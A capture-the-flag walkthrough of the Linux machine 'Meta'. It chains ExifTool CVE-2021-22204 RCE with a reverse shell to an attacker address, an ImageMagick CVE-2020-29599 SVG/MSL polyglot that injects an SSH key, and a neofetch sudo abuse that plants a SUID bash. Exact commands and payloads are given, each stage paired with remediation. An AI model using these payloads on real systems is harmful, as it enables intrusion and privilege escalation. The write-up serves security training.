← all walkthroughs

Meta

Linux· Medium· Privilege Escalation
owned
2026-07-15
time to own
17m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The target ($TARGET, artcorp.htb) exposed Apache on port 80. Virtual-host enumeration uncovered a development subdomain, dev01.artcorp.htb, hosting an image-metadata viewer powered by ExifTool 12.23 — a version vulnerable to arbitrary code execution via a malformed DjVu file (CVE-2021-22204). A crafted image uploaded to the viewer triggered a reverse shell as the web-server account (www-data).

From that foothold, process-monitoring with pspy revealed a periodic cron job running ImageMagick's convert as the local user thomas against a directory the web account could write to. Exploiting ImageMagick CVE-2020-29599 through a polyglot SVG/MSL file dropped into that directory caused the cron to inject I SSH public key into thomas's authorized_keys, yielding a user-level shell and the user flag. Inspecting thomas's sudo privileges showed he could run /usr/bin/neofetch as root with the environment variable XDG_CONFIG_HOME preserved.

Because neofetch sources its config.conf as a Bash script, supplying a malicious config pointed to by XDG_CONFIG_HOME caused it to execute my own shell commands as root, giving full system compromise and the root flag.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceVirtual-host enumeration; passive version fingerprinting via composer.json
Mapped exposed services and discovered a hidden development virtual host
An nmap scan identified two open TCP ports: 22 (OpenSSH 7.9p1) and 80 (Apache). The HTTP root redirected to artcorp.htb, revealing the primary virtual host name. Fuzzing the Host header against artcorp.htb with a common subdomain wordlist exposed a second host, dev01.artcorp.htb, which served a web application at /metaview/ labelled as an image-metadata viewer. Fetching /metaview/composer.json enumerated the installed PHP dependencies and pinpointed ExifTool at version 12.23, placing it inside the range affected by CVE-2021-22204 (fixed in 12.24).
Dev01.artcorp.htb/metaview/composer.json disclosed ExifTool 12.23; CVE-2021-22204 affects all versions below 12.24.
Exact commands 4
Full version and default-script scan.
nmap -sC -sV -oA meta $TARGET
Add both vhosts to local resolution once discovered.
echo "$TARGET artcorp.htb dev01.artcorp.htb" | sudo tee -a /etc/hosts
Brute-force virtual hostnames; -fs 0 silences empty-body false positives.
ffuf -u http://artcorp.htb/ -H 'Host: FUZZ.artcorp.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200 -fs 0
Read the PHP dependency manifest to fingerprint the ExifTool release.
curl -s http://dev01.artcorp.htb/metaview/composer.json
2ExploitationCVE-2021-22204 — ExifTool DjVu Annotations block OS command injection
Achieved remote code execution as www-data via ExifTool CVE-2021-22204 DjVu metadata injection
ExifTool below 12.24 parses the Annotations block of DjVu image files and passes field values through Perl's qx() operator without sanitisation. Anyone who can supply a file to any feature that invokes ExifTool can embed an OS command in those fields and have it executed by the parser. The convisolabs public PoC was used to embed a bash reverse-shell command inside a crafted DjVu image. Uploading that image to /metaview/ caused ExifTool to parse it server-side and execute the payload, opening a shell as uid=33 (www-data) rooted at /var/www/dev01.artcorp.htb/metaview.
Reverse shell received: uid=33(www-data) gid=33(www-data) groups=33(www-data); cwd=/var/www/dev01.artcorp.htb/metaview.
Exact commands 4
Clone the exploit generator; requires exiftool and djvulibre-bin on the attack machine.
git clone https://github.com/convisolabs/CVE-2021-22204-exiftool /opt/cve-2021-22204 && cd /opt/cve-2021-22204
Set $ATTACKER_IP and PORT, then generate the malicious image.jpg payload.
sed -i "s/IP = .*/IP = '$ATTACKER_IP'/" exploit.py && sed -i 's/PORT = .*/PORT = 9001/' exploit.py && python3 exploit.py
Open the reverse-shell listener before uploading.
nc -lvnp 9001
Upload the crafted DjVu; ExifTool parses it and the shell fires.
curl -s -F 'file=@/opt/cve-2021-22204/image.jpg' http://dev01.artcorp.htb/metaview/
FixUpgrade ExifTool to 12.24 or later to eliminate CVE-2021-22204Critical
WeaknessExifTool 12.23 and earlier pass content from DjVu image Annotations blocks through Perl's qx() operator without sanitisation. Any application feature — including this image-metadata viewer — that calls ExifTool on an uploaded file becomes a remote code-execution vector requiring no authentication beyond the ability to upload.
FixUpgrade ExifTool to version 12.24 or the current stable release, which removes the unsafe qx() usage in DjVu parsing. As defence-in-depth, restrict the upload endpoint to accept only MIME types the application genuinely requires, verify magic bytes server-side before passing files to ExifTool, and run the web service as a dedicated non-privileged account with no write access outside its document root.
3DiscoveryT1053.003 Scheduled Task/Cron; T1057 Process Discovery via pspy
Used pspy to identify a cron job running ImageMagick as thomas over a web-writable directory
With a foothold as www-data, pspy64 (a process monitor that requires no root privileges) was transferred to the target and executed. Within minutes it logged a recurring execution of /usr/local/bin/convert_images.sh under UID 1000 (thomas). Inspection of that script confirmed it called ImageMagick's convert binary on every file present in /var/www/dev01.artcorp.htb/convert_images/. A permission check showed that www-data could create new files in that directory, providing a direct path from the web-server account into a process running as an interactive user.
Pspy output line: UID=1000 … /bin/bash /usr/local/bin/convert_images.sh; directory listing confirmed www-data write access to /var/www/dev01.artcorp.htb/convert_images/.
Exact commands 4
Serve pspy64 from the attack box (run in background).
python3 -m http.server 8080
From the www-data shell — download and run pspy; wait 2–3 minutes to catch the cron cycle.
wget http://$ATTACKER_IP:8080/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64 -p -i 500
Read the script to confirm exactly how convert is called and which directory it watches.
cat /usr/local/bin/convert_images.sh
Verify that www-data can create files in the watched directory.
ls -la /var/www/dev01.artcorp.htb/convert_images/
4Lateral MovementCVE-2020-29599 — ImageMagick command injection via SVG/MSL polyglot; T1098 Account Manipulation (SSH key injection)
Injected an SSH public key as thomas via ImageMagick CVE-2020-29599 SVG/MSL polyglot
ImageMagick below 6.9.11-40 / 7.0.10-40 interprets SVG files that simultaneously contain MSL (Magick Scripting Language) directives. When convert processes such a polyglot, it follows the MSL instructions, which can include shell commands passed via the -authenticate parameter (CVE-2020-29599). A polyglot SVG/MSL file was crafted that, when convert processed it under thomas's cron, appended my own SSH public key to /home/thomas/.ssh/authorized_keys. A new filename was used to avoid the permission constraint on overwriting an existing file. The next cron execution ran the payload as thomas; a subsequent SSH login with the matching private key succeeded and the user flag was read.
Exact commands 4
Generate the keypair; copy the public key value for the next step.
ssh-keygen -t rsa -b 4096 -f /tmp/thomas_key -N '' && cat /tmp/thomas_key.pub
Write the polyglot into the watched directory using a fresh filename; replace PASTE_PUB_KEY_HERE with the public key from the previous command.
cat > /var/www/dev01.artcorp.htb/convert_images/inject01.svg << 'SVGEOF'
<image authenticate='ff" `-e "mkdir -p /home/thomas/.ssh && echo PASTE_PUB_KEY_HERE >> /home/thomas/.ssh/authorized_keys";"'>
<read filename="pdf:/etc/passwd"/>
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="/tmp/out.png" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="msl:/var/www/dev01.artcorp.htb/convert_images/inject01.svg" height="0" width="0"></image>
</svg>
</image>
SVGEOF
Connect after the cron fires (up to ~1 minute); use the matching private key.
ssh -i /tmp/thomas_key thomas@$TARGET
Capture the user flag — value redacted as <user.txt>.
cat /home/thomas/user.txt
FixPatch ImageMagick and isolate the image-conversion cron from web-writable directoriesHigh
WeaknessImageMagick below 6.9.11-40 / 7.0.10-40 allows shell command injection when processing externally controlled files via the -authenticate parameter and SVG/MSL polyglot images (CVE-2020-29599). The convert_images.sh cron job compounded the risk by running as an interactive user account (thomas) and processing any file placed in a directory that the Apache web-server account could write to, allowing a compromised web process to feed malicious files directly into thomas's privileged context.
FixUpgrade ImageMagick to 6.9.11-40 / 7.0.10-40 or later. Independently harden the cron job: (1) run convert_images.sh as a dedicated, low-privilege service account that is not thomas and has no SSH access; (2) move the input directory out of the web root and restrict its write access to that dedicated account only; (3) whitelist accepted MIME types using server-side magic-byte verification before invoking convert; (4) consider running convert inside a container or seccomp sandbox to limit blast radius if the binary is exploited.
5Privilege EscalationT1548.003 — Sudo abuse; neofetch config.conf shell injection via env_keep XDG_CONFIG_HOME
Escalated to root by supplying a malicious neofetch config via sudo env_keep XDG_CONFIG_HOME
Running sudo -l as thomas revealed a sudoers rule granting passwordless execution of /usr/bin/neofetch as root with env_keep+=XDG_CONFIG_HOME. XDG_CONFIG_HOME is the XDG base-directory variable that neofetch uses to locate config.conf; that file is sourced directly as a Bash script during startup. Because env_keep allowed thomas to pass an arbitrary value for XDG_CONFIG_HOME into the root-privileged process, my own directory containing a crafted config.conf was created. The config embedded a one-liner that copied /bin/bash to /tmp and set its SUID bit. Running sudo neofetch with XDG_CONFIG_HOME pointing to that directory caused root to execute the payload, after which the SUID bash was used to open a root shell and read the root flag.
Sudo -l output confirmed: (root) SETENV: NOPASSWD: /usr/bin/neofetch with env_keep+=XDG_CONFIG_HOME; /tmp/bash_root -p returned euid=0(root); root.txt captured.
Exact commands 5
Confirm the neofetch sudo rule and the env_keep directive.
sudo -l
Create the malicious config directory and embed the SUID-plant payload.
mkdir -p /tmp/.neoconf/neofetch && printf 'cp /bin/bash /tmp/bash_root && chmod +s /tmp/bash_root\n' > /tmp/.neoconf/neofetch/config.conf
Run neofetch as root; config.conf is sourced as bash, executing the payload.
sudo XDG_CONFIG_HOME=/tmp/.neoconf /usr/bin/neofetch
-p preserves EUID=0, opening a root shell.
/tmp/bash_root -p
Capture the root flag — value redacted as <root.txt>.
cat /root/root.txt
FixRemove XDG_CONFIG_HOME from the neofetch sudo rule's env_keep listHigh
WeaknessThe sudoers rule allowed thomas to run /usr/bin/neofetch as root while preserving the XDG_CONFIG_HOME environment variable. Because neofetch sources its config.conf as a Bash script at startup, any user who holds this sudo rule effectively chooses which shell script root executes — trivially achieving privilege escalation.
FixRemove the neofetch sudo entry entirely if it has no operational justification. If the entry must be retained for a specific administrative purpose, delete env_keep+=XDG_CONFIG_HOME and hard-code the absolute path to an admin-controlled config directory directly in the sudoers command specification instead of inheriting it from the environment. Additionally, audit all existing sudoers rules for env_keep directives that expose interpreter or framework configuration paths (PYTHONPATH, RUBYLIB, PERL5LIB, HOME, etc.) and remove them, as each represents the same class of escalation.

Exposed services

22/tcp
80/tcp